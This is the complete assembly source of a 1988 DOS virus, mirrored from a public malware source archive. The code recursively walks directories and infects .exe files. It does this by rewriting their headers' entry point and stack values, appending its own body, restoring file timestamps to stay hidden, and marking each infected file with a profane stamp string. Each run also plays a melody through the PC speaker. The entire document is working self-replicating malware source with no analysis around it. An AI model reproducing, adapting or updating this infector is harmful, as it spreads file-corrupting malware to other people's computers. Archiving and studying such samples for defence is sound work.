mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1129 lines
18 KiB
NASM
1129 lines
18 KiB
NASM
.MODEL SMALL
|
||
.CODE
|
||
|
||
comment /
|
||
Good luck!
|
||
|
||
Vladimir Botchev, CICT-BAS, december 1988
|
||
|
||
/
|
||
|
||
data_area struc ;Define a pattern for working data
|
||
;area
|
||
DS_save dw ?
|
||
ES_save dw ?
|
||
IP_save dw ?
|
||
CS_save dw ?
|
||
SS_save dw ?
|
||
filematch db '*.exe',00h ;Names for files to infect
|
||
matchall db '*.*',00h ;needed for the matching procedure
|
||
infected dw 00h ;A very useful flag
|
||
help_flag dw 00h ;These two flags are needed to
|
||
where_from_flag dw 00h ;determine if virus is free running
|
||
;or from an infected program
|
||
;therefore it's very important
|
||
;that where_from_flag value
|
||
;is set to zero at assembly time
|
||
handle dw ?
|
||
ip_old dw ? ;old instruction pointer
|
||
cs_old dw ? ;old value of code segment
|
||
ss_old dw ?
|
||
far_push dw ?
|
||
save_push dw ?
|
||
buffer1 db '\',63 dup (?)
|
||
virus_stamp db 'motherfucker' ;Very hard to obtain in
|
||
;a random way
|
||
|
||
buffer2 db 2b0h dup (?)
|
||
new_area db 64 dup (?)
|
||
new_data db 64 dup (?)
|
||
pointer1 dw ?
|
||
pointer2 dw ?
|
||
pointer3 dw ?
|
||
pointer4 dw ?
|
||
pointer5 dw ?
|
||
pointer6 dw ?
|
||
pointer7 dw ?
|
||
pointer8 dw ?
|
||
|
||
data_area ends
|
||
|
||
org 100h ;Defined for .com file as virus must
|
||
;be able to run on itself
|
||
start: call setup_data ;This is a near call therefore it's a
|
||
;three byte instruction.It's purpose is
|
||
;to catch correct data area address
|
||
;even when virus is appended to the
|
||
;infected .exe program
|
||
adjust equ offset pgm_start ;Known offset value
|
||
pgm_start label word ;
|
||
|
||
virussize equ 2793
|
||
|
||
work: mov ax,ds ;Save old DS
|
||
push cs
|
||
pop ds ;Update to needed DS value
|
||
mov si,offset buffer.DS_save ;Put old DS in a quiet place
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],ax
|
||
|
||
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,es
|
||
mov [si],ax
|
||
push cs ;Imperative because DI usage
|
||
pop es
|
||
|
||
push bx ;It's imperative to always keep
|
||
;this value unchanged
|
||
mov ax,2f00h ;Get DTA function call
|
||
int 21h
|
||
|
||
mov cx,bx ;save address found
|
||
pop bx
|
||
mov si,offset buffer.pointer1
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],cx
|
||
add si,2 ;Locate the segment immediately above
|
||
mov ax,es
|
||
mov [si],ax
|
||
push cs
|
||
pop es
|
||
|
||
mov di,offset buffer.buffer1 ;adjust for first search
|
||
inc di ;Jump over the '\'
|
||
sub di,adjust
|
||
add di,bx
|
||
mov dx,0000h
|
||
push bx
|
||
call search_exe
|
||
pop bx
|
||
mov si,offset buffer.where_from_flag
|
||
sub si,adjust
|
||
add si,bx
|
||
cmp word ptr [si],0000h
|
||
jnz infected_run
|
||
int 020H
|
||
|
||
infected_run:
|
||
mov si,offset buffer.pointer1
|
||
sub si,adjust
|
||
add si,bx
|
||
mov dx,[si]
|
||
push ds
|
||
mov ax,[si+2]
|
||
mov ds,ax
|
||
push bx
|
||
mov ax,1a00h
|
||
int 21h
|
||
pop bx
|
||
pop ds ;Restore original DTA
|
||
|
||
mov si,offset buffer.ES_save
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
mov es,ax ;Restore ES
|
||
|
||
;Here you can do whatever you want
|
||
|
||
push bx
|
||
call mary_proc
|
||
pop bx
|
||
|
||
|
||
|
||
mov si,offset buffer.IP_save
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
mov dx,[si+2]
|
||
mov si,offset buffer.far_push ;Restore original code
|
||
sub si,adjust ;segment
|
||
add si,bx
|
||
mov cx,[si]
|
||
push ax
|
||
mov ax,cs
|
||
sub ax,cx
|
||
mov di,ax ;For stack
|
||
add dx,ax
|
||
pop ax
|
||
|
||
mov si,offset buffer.SS_save
|
||
sub si,adjust ;Restore stack segment
|
||
add si,bx
|
||
mov cx,word ptr [si]
|
||
add cx,di
|
||
|
||
push es
|
||
pop ds
|
||
|
||
cli
|
||
mov ss,cx
|
||
sti
|
||
|
||
|
||
push dx
|
||
push ax
|
||
retf
|
||
|
||
|
||
search_exe PROC
|
||
|
||
push si
|
||
push dx
|
||
call transfer_filespec ;transfer filename in another
|
||
;working area
|
||
call find_first ;try to find a first match
|
||
jc not_here ;first match not found
|
||
call try_to_infect ;if found try to infect
|
||
;infected != 0 if success
|
||
mov si,offset buffer.infected
|
||
sub si,adjust
|
||
add si,bx
|
||
test word ptr [si],0ffffh
|
||
jz try_next
|
||
jmp quiet_exit
|
||
|
||
try_next:
|
||
call find_next ;If infection was not succesful
|
||
;try once more
|
||
jc not_here
|
||
|
||
call try_to_infect ;If match found try to infect
|
||
mov si,offset buffer.infected ;again
|
||
sub si,adjust
|
||
add si,bx
|
||
test word ptr [si],0ffffh
|
||
jz try_next
|
||
|
||
jmp quiet_exit ;quiet exit simply jumps
|
||
;to a return instruction
|
||
not_here:
|
||
pop dx ;If first searches are
|
||
push dx ;unsuccesful try a '*.*' match
|
||
call search_all
|
||
call find_first
|
||
jnc attribute_test ;i.e. expect probably to
|
||
;find a subdirectory
|
||
quiet_exit:
|
||
pop dx
|
||
pop si
|
||
ret
|
||
|
||
attribute_test:
|
||
mov si,dx ;offset of DTA
|
||
test byte ptr [si+015h],010h ;where attribute byte is to
|
||
;be found.Try first with
|
||
;subdirectory attribute
|
||
jne dir_found ;subdirectory found
|
||
more_tries:
|
||
call find_next ;Since the search was initiated
|
||
;with '*.*' if this is not a
|
||
;directory try to found one
|
||
jc quiet_exit ;No sense to search more
|
||
|
||
test byte ptr [si+015h],010h
|
||
jz more_tries ;Search to the end
|
||
dir_found:
|
||
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
|
||
;mark '.'
|
||
jz more_tries ;looking for files no
|
||
;subdirectories
|
||
|
||
call dta_compute ;Valid entry, now set some DTA
|
||
;and continue to search
|
||
push ax
|
||
mov ah,01Ah ;Set DTA function call
|
||
int 021h
|
||
pop ax
|
||
push si
|
||
mov si,offset buffer.infected
|
||
sub si,adjust
|
||
add si,bx
|
||
test word ptr [si],0ffffh
|
||
pop si
|
||
jnz quiet_exit
|
||
|
||
jmp more_tries
|
||
|
||
|
||
search_exe ENDP
|
||
|
||
dta_compute PROC
|
||
|
||
push di ;Save some registers
|
||
push si
|
||
push ax
|
||
push bx
|
||
cld ;Up count for SI,DI pair
|
||
mov si,dx ;DTA address to SI
|
||
add si,01EH ;and add subdirectory
|
||
;name offset
|
||
|
||
store_loop:
|
||
lodsb
|
||
stosb
|
||
or al,al
|
||
jne store_loop ;store loop
|
||
|
||
std
|
||
stosb
|
||
mov al,05Ch ;Put in place the path name
|
||
;constructor
|
||
|
||
stosb
|
||
add di,2 ;Adjust di for new searches
|
||
call search_exe ;
|
||
;a heavily recursion
|
||
;
|
||
pop bx ;some cleanup and exit
|
||
;
|
||
pop ax
|
||
pop si
|
||
pop di
|
||
ret
|
||
|
||
dta_compute ENDP
|
||
|
||
try_to_infect PROC
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
|
||
push es
|
||
push bx
|
||
mov ax,2f00h ;Get DTA function call
|
||
int 21h
|
||
mov ax,bx
|
||
pop bx
|
||
mov si,offset buffer.pointer3
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],ax ;Offset saved
|
||
add si,2
|
||
mov ax,es
|
||
mov [si],ax
|
||
pop es ;Segment located just above
|
||
|
||
mov dx,offset buffer.new_data
|
||
sub dx,adjust
|
||
add dx,bx
|
||
push bx
|
||
mov ax,1a00h
|
||
int 21h ;Set DTA function call
|
||
pop bx ;It's very important to
|
||
;save BX in all calls
|
||
|
||
mov di,offset buffer.new_area
|
||
mov si,offset buffer.buffer1
|
||
sub di,adjust
|
||
sub si,adjust
|
||
add di,bx
|
||
add si,bx
|
||
|
||
cld ;Move previously found path-
|
||
;name or filename to new
|
||
;data area
|
||
move_path:
|
||
lodsb
|
||
stosb
|
||
or al,al
|
||
jnz move_path
|
||
std ;adjust DI to recieve
|
||
mov al,'\' ;filename.
|
||
mov cx,0040h
|
||
std ;Search backward
|
||
repne scasb
|
||
|
||
mov si,offset buffer.pointer3
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
mov si,ax
|
||
add di,2
|
||
|
||
o_kay:
|
||
add si,001eh ;The beginning of the
|
||
;filename...
|
||
cld ;Now move name
|
||
|
||
move_fnm:
|
||
lodsb
|
||
stosb
|
||
or al,al
|
||
jnz move_fnm
|
||
|
||
push dx
|
||
push bx
|
||
mov dx,offset buffer.new_area
|
||
sub dx,adjust
|
||
add dx,bx
|
||
mov ax,3d02h ;Open file with handle
|
||
;for read/write
|
||
int 21h
|
||
pop bx
|
||
pop dx
|
||
jnc go_ahead ;In case file cannot be opened
|
||
jmp error_exit
|
||
|
||
go_ahead:
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],ax ;Save handle
|
||
|
||
push bx
|
||
mov bx,ax ;Prepare for lseek
|
||
push dx
|
||
mov cx,0000h ;Look at the end of the file
|
||
mov dx,0000h ;Offset of -12 from the end
|
||
;of the file
|
||
mov ax,4202h ;Lseek function call
|
||
int 21h
|
||
mov cx,dx
|
||
pop dx
|
||
pop bx
|
||
jnc compute_length
|
||
jmp close_error
|
||
|
||
compute_length:
|
||
|
||
sub ax,000ch
|
||
sbb cx,0000h ;Exact position
|
||
|
||
|
||
save_offset: ;
|
||
mov si,offset buffer.pointer5
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],ax
|
||
add si,2
|
||
mov [si],cx
|
||
|
||
push bx
|
||
push dx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si]
|
||
mov dx,ax
|
||
mov ax,4200h ;From beginning of file
|
||
int 21h ;Lseek function call
|
||
pop dx
|
||
pop bx
|
||
jnc set_buffer
|
||
jmp close_error
|
||
|
||
set_buffer:
|
||
push bx
|
||
push dx
|
||
mov dx,offset buffer.new_data
|
||
sub dx,adjust
|
||
add dx,bx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si] ;Load handle
|
||
mov cx,000ch
|
||
mov ax,3f00h
|
||
int 21h ;Read function call
|
||
pop dx
|
||
pop bx
|
||
jnc read_ok
|
||
jmp close_error
|
||
|
||
read_ok:
|
||
mov si,offset buffer.virus_stamp
|
||
mov di,offset buffer.new_data
|
||
sub si,adjust
|
||
sub di,adjust
|
||
add si,bx
|
||
add di,bx
|
||
mov cx,12 ;Length of strings to
|
||
;compare
|
||
repe cmpsb
|
||
pushf
|
||
mov si,offset buffer.infected
|
||
sub si,adjust
|
||
add si,bx
|
||
mov word ptr [si],0000h
|
||
popf
|
||
jnz infect_it
|
||
|
||
close_error:
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
push bx
|
||
mov bx,[si]
|
||
mov ax,3e00h ;Close file function call
|
||
int 21h
|
||
pop bx
|
||
jmp error_exit
|
||
|
||
infect_it:
|
||
mov si,offset buffer.infected
|
||
sub si,adjust
|
||
add si,bx
|
||
mov word ptr [si],7777h
|
||
|
||
mov si,offset buffer.where_from_flag
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
sub si,2
|
||
mov [si],ax ;This code effectively moves
|
||
;where_from_flag into help_flag
|
||
|
||
add si,2
|
||
mov [si],5a5ah ;Ready to infect
|
||
push bx
|
||
push dx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si]
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h ;From beginning of file
|
||
int 21h ;Lseek function call
|
||
pop dx
|
||
pop bx
|
||
jnc set_new_data
|
||
jmp append_ok
|
||
|
||
set_new_data:
|
||
push bx
|
||
push dx
|
||
mov dx,offset buffer.new_data
|
||
sub dx,adjust
|
||
add dx,bx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si] ;Load handle
|
||
mov cx,001bh ;Read formatted exe header
|
||
mov ax,3f00h
|
||
int 21h ;Read function call
|
||
pop dx
|
||
pop bx
|
||
jnc read_header
|
||
jmp append_ok
|
||
|
||
read_header:
|
||
nop ;some code to modify header
|
||
;
|
||
|
||
mov si,offset buffer.pointer5
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
add si,2
|
||
add ax,0ch
|
||
adc word ptr [si],0000h
|
||
sub si,2
|
||
mov [si],ax ;This code restores original
|
||
;filelength
|
||
|
||
mov si,offset buffer.new_data
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
cmp ax,5a4dh ;check for valid exe file
|
||
jz valid_exe
|
||
jmp append_ok
|
||
|
||
valid_exe:
|
||
mov ax,[si+8] ;Load module size
|
||
xor dx,dx
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1 ;Multiply by 16
|
||
|
||
push ax
|
||
push dx ;Adjust new size
|
||
push cx
|
||
mov dx,virussize-896+64
|
||
push dx
|
||
mov cx,0009h
|
||
shr dx,cl
|
||
add word ptr [si+4],dx
|
||
pop dx
|
||
and dx,01ffh
|
||
add dx,word ptr [si+2]
|
||
cmp dx,512
|
||
jl adjust_okay
|
||
sub dx,512
|
||
inc word ptr [si+4]
|
||
adjust_okay:
|
||
mov word ptr [si+2],dx
|
||
pop cx
|
||
pop dx
|
||
pop ax
|
||
|
||
|
||
push si ;This SI is very useful so save it
|
||
|
||
mov si,offset buffer.pointer5
|
||
sub si,adjust
|
||
add si,bx
|
||
sub [si],ax
|
||
mov ax,[si]
|
||
sbb [si+2],dx
|
||
mov dx,[si+2] ;the byte size of the load module
|
||
|
||
|
||
pop si
|
||
push ax
|
||
push dx
|
||
mov ax,[si+14h]
|
||
mov dx,[si+16h] ;Get CS:IP value
|
||
mov cx,[si+0eh] ;Get SS value
|
||
push si
|
||
mov si,offset buffer.IP_save
|
||
sub si,adjust
|
||
add si,bx
|
||
xchg [si],ax
|
||
xchg [si+2],dx
|
||
mov si,offset buffer.SS_save
|
||
sub si,adjust
|
||
add si,bx
|
||
xchg [si],cx
|
||
mov si,offset buffer.ip_old
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],ax
|
||
mov [si+2],dx
|
||
mov si,offset buffer.ss_old
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],cx
|
||
pop si
|
||
pop dx
|
||
pop ax
|
||
|
||
push ax
|
||
push dx
|
||
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1 ;Multiply by 16
|
||
|
||
mov cx,0008h
|
||
shl dx,cl
|
||
mov cx,0004h
|
||
shr ax,cl ;A very obscure algorithm to make
|
||
;a segment:offset pair
|
||
mov [si+14h],ax
|
||
mov [si+16h],dx ;Infected values
|
||
|
||
push si
|
||
mov si,offset buffer.far_push
|
||
sub si,adjust
|
||
add si,bx
|
||
xchg [si],dx
|
||
mov word ptr [si+2],dx
|
||
pop si
|
||
|
||
pop dx
|
||
pop ax
|
||
add ax,virussize ;
|
||
adc dx,0000h
|
||
|
||
mov cx,0003h
|
||
mul_loop:
|
||
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1
|
||
shl ax,1
|
||
rcl dx,1 ;Multiply by 4096
|
||
loop mul_loop
|
||
|
||
or ax,ax
|
||
jz exact_value
|
||
inc dx
|
||
exact_value:
|
||
mov [si+0eh],dx ;Infected stack segment
|
||
|
||
;Write back infected header
|
||
push si
|
||
push bx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si]
|
||
mov ax,5700h ;Get time function
|
||
int 21h
|
||
pop bx
|
||
pop si
|
||
jnc correct_time
|
||
jmp append_ok1
|
||
|
||
correct_time:
|
||
push cx
|
||
push bx
|
||
push dx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si]
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h ;From beginning of file
|
||
int 21h ;Lseek function call
|
||
pop dx
|
||
pop bx
|
||
pop cx
|
||
jnc continue_infection
|
||
jmp append_ok1
|
||
|
||
continue_infection:
|
||
|
||
push cx
|
||
push dx
|
||
push bx
|
||
mov dx,offset buffer.new_data
|
||
sub dx,adjust
|
||
add dx,bx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si] ;Load handle
|
||
mov cx,001bh ;Write infected exe header
|
||
mov ax,4000h
|
||
int 21h ;Write function call
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
jnc glue_virus
|
||
jmp append_ok1
|
||
|
||
glue_virus:
|
||
|
||
push cx
|
||
push bx
|
||
push dx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si]
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4202h ;From the end of file
|
||
int 21h ;Lseek function call
|
||
pop dx
|
||
pop bx
|
||
pop cx
|
||
jnc write_data
|
||
jmp append_ok1
|
||
|
||
write_data:
|
||
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
|
||
push dx
|
||
push cx
|
||
|
||
mov dx,bx
|
||
sub dx,3 ;The starting three byte
|
||
;call instruction
|
||
push es
|
||
push bx
|
||
push dx
|
||
push si
|
||
mov ax,2f00h
|
||
int 21h
|
||
pop si
|
||
pop dx
|
||
|
||
push es
|
||
push bx
|
||
|
||
push si
|
||
mov ax,1a00h
|
||
int 21h
|
||
pop si
|
||
|
||
|
||
mov bx,[si] ;Load handle
|
||
mov cx,virussize-896+64 ;Length of virus obtained
|
||
mov ax,4000h ;with dir
|
||
int 21h
|
||
lahf ;Write function call
|
||
|
||
pop bx
|
||
pop es
|
||
|
||
push ds
|
||
push es
|
||
pop ds
|
||
mov dx,bx
|
||
push ax
|
||
mov ax,1a00h
|
||
int 21h
|
||
pop ax
|
||
|
||
pop ds
|
||
pop bx
|
||
pop es
|
||
|
||
pop cx
|
||
pop dx
|
||
|
||
sahf
|
||
jnc put_stamp ;Error or not file
|
||
jmp append_ok1 ;is closed
|
||
|
||
put_stamp:
|
||
push bx
|
||
mov si,offset buffer.handle
|
||
sub si,adjust
|
||
add si,bx
|
||
mov bx,[si]
|
||
mov ax,5701h ;Set time function
|
||
int 21h
|
||
pop bx
|
||
|
||
append_ok1:
|
||
|
||
mov si,offset buffer.ip_old ;Restore previous CS:IP values
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
mov dx,[si+2]
|
||
mov si,offset buffer.IP_save
|
||
sub si,adjust
|
||
add si,bx
|
||
mov [si],ax
|
||
mov [si+2],dx
|
||
|
||
mov si,offset buffer.save_push
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
mov word ptr [si-2],ax
|
||
|
||
mov si,offset buffer.ss_old
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
mov si,offset buffer.SS_save
|
||
sub si,adjust
|
||
add si,bx
|
||
mov word ptr [si],ax
|
||
|
||
|
||
append_ok:
|
||
mov si,offset buffer.help_flag
|
||
sub si,adjust
|
||
add si,bx
|
||
mov ax,[si]
|
||
add si,2
|
||
mov [si],ax ;This code effectively moves
|
||
;help_flag into where_from_flag
|
||
|
||
|
||
jmp close_error ;
|
||
|
||
error_exit:
|
||
mov si,offset buffer.pointer3
|
||
sub si,adjust
|
||
add si,bx
|
||
mov dx,[si] ;Restore original DTA
|
||
add si,2
|
||
mov ax,[si]
|
||
push ds
|
||
mov ds,ax
|
||
mov ax,1a00h ;Set DTA function call
|
||
int 21h
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
try_to_infect ENDP
|
||
|
||
transfer_filespec PROC
|
||
|
||
push si
|
||
mov si,offset buffer.filematch ;Transfer name to the working
|
||
;area
|
||
sub si,adjust
|
||
add si,bx
|
||
call byte_move
|
||
pop si
|
||
ret
|
||
|
||
transfer_filespec ENDP
|
||
|
||
search_all PROC
|
||
|
||
push si
|
||
mov si,offset buffer.matchall ;This is the '*.*' filename
|
||
sub si,adjust
|
||
add si,bx
|
||
call byte_move
|
||
pop si
|
||
ret
|
||
|
||
search_all ENDP
|
||
|
||
byte_move PROC
|
||
|
||
push ax
|
||
push di
|
||
|
||
cld
|
||
|
||
move_loop:
|
||
lodsb
|
||
stosb
|
||
or al,al ;The string to move is ASCIIZ
|
||
jne move_loop
|
||
pop di
|
||
pop ax
|
||
ret
|
||
|
||
byte_move ENDP
|
||
|
||
find_first PROC
|
||
|
||
push cx
|
||
push bx
|
||
cmp dx,0000h
|
||
jnbe over_set
|
||
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
|
||
sub dx,adjust ;or Disk Transfer area
|
||
add dx,bx ;
|
||
over_set:
|
||
add dx,02Bh
|
||
mov cx,00010h ;Attribute byte for
|
||
;directory search
|
||
mov ah,01ah
|
||
int 021h ;Set DTA function call
|
||
|
||
pop bx
|
||
push bx
|
||
push dx
|
||
mov dx,offset buffer.buffer1
|
||
sub dx,adjust
|
||
add dx,bx
|
||
mov ah,04eh ;find first
|
||
;function call
|
||
int 021h
|
||
pop dx
|
||
pop bx
|
||
pop cx
|
||
ret
|
||
|
||
find_first ENDP
|
||
|
||
find_next PROC
|
||
|
||
push cx
|
||
push bx
|
||
push dx
|
||
mov dx,offset buffer.buffer1
|
||
sub dx,adjust
|
||
add dx,bx
|
||
mov cx,00010h
|
||
mov ah,04fh ;Find next function call
|
||
int 021h
|
||
pop dx
|
||
pop bx
|
||
pop cx
|
||
ret
|
||
|
||
find_next ENDP
|
||
|
||
delay PROC
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
mov ah,2ch ;Read current time
|
||
int 21h
|
||
|
||
mov ah,ch
|
||
add al,cl
|
||
add bh,dh
|
||
add bl,dl
|
||
|
||
cmp bl,100
|
||
jb secs
|
||
sub bl,100
|
||
inc bh
|
||
secs: cmp bh,60
|
||
jb mins
|
||
sub bh,60
|
||
inc al
|
||
mins: cmp al,60
|
||
jb hours
|
||
sub al,60
|
||
inc ah
|
||
hours: cmp ah,24
|
||
jne tcheck
|
||
sub ah,ah
|
||
|
||
tcheck: push ax
|
||
mov ah,2ch
|
||
int 21h
|
||
|
||
pop ax
|
||
cmp cx,ax
|
||
ja tdquit
|
||
jb tcheck
|
||
cmp dx,bx
|
||
jb tcheck
|
||
|
||
tdquit: pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
delay ENDP
|
||
|
||
sound PROC
|
||
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push di
|
||
|
||
mov al,0b6h
|
||
out 43h,al
|
||
mov dx,14h
|
||
mov ax,533h*896
|
||
div di
|
||
out 42h,al
|
||
mov al,ah
|
||
out 42h,al
|
||
in al,61h
|
||
mov ah,al
|
||
or al,3
|
||
out 61h,al
|
||
mov al,cl
|
||
call delay
|
||
mov al,ah
|
||
out 61h,al
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
|
||
sound ENDP
|
||
|
||
music_play PROC
|
||
|
||
push bx
|
||
push cx
|
||
push di
|
||
push si
|
||
push bp
|
||
|
||
freq:
|
||
|
||
mov di,[si]
|
||
cmp di,0ffffh
|
||
je end_play
|
||
mov bl,ds:[bp]
|
||
sub cl,cl
|
||
sub bh,bh
|
||
call sound
|
||
add si,2
|
||
inc bp
|
||
jnz freq
|
||
|
||
end_play:
|
||
pop bp
|
||
pop si
|
||
pop di
|
||
pop cx
|
||
pop bx
|
||
ret
|
||
|
||
music_play ENDP
|
||
|
||
mary_proc PROC
|
||
|
||
push bx
|
||
push bp
|
||
|
||
mov si,offset mary_freq
|
||
mov bp,offset mary_time
|
||
sub si,adjust
|
||
sub bp,adjust
|
||
add si,bx
|
||
add bp,bx
|
||
call music_play
|
||
|
||
pop bp
|
||
pop bx
|
||
ret
|
||
|
||
mary_proc ENDP
|
||
|
||
mary_freq dw 262,262,293,329,262,329,293,196
|
||
dw 262,262,293,329,262,262
|
||
dw 262,262,293,329,349,329,293,262
|
||
dw 246,196,220,246,262,262
|
||
dw 220,246,220,174,220,246,262,220
|
||
dw 196,220,196,174,164,174,196
|
||
dw 220,246,220,174,220,246,262,220
|
||
dw 196,262,246,293,262,262,0ffffh
|
||
|
||
|
||
mary_time db 8 dup(25)
|
||
db 4 dup(25), 50, 50
|
||
db 8 dup(25)
|
||
db 4 dup(25), 50, 50
|
||
db 26, 25, 26, 5 dup(25)
|
||
db 26, 25, 26, 3 dup(25), 30
|
||
db 26, 25, 26, 4 dup(25), 30
|
||
db 4 dup(25), 50, 50
|
||
|
||
|
||
|
||
setup_data:
|
||
cli
|
||
pop bx ;This will catch instruction pointer
|
||
push bx
|
||
sti ;value and after that restore stack
|
||
ret ;pointer value
|
||
|
||
|
||
buffer data_area <> ;Reseve data_area space
|
||
|
||
|
||
END start |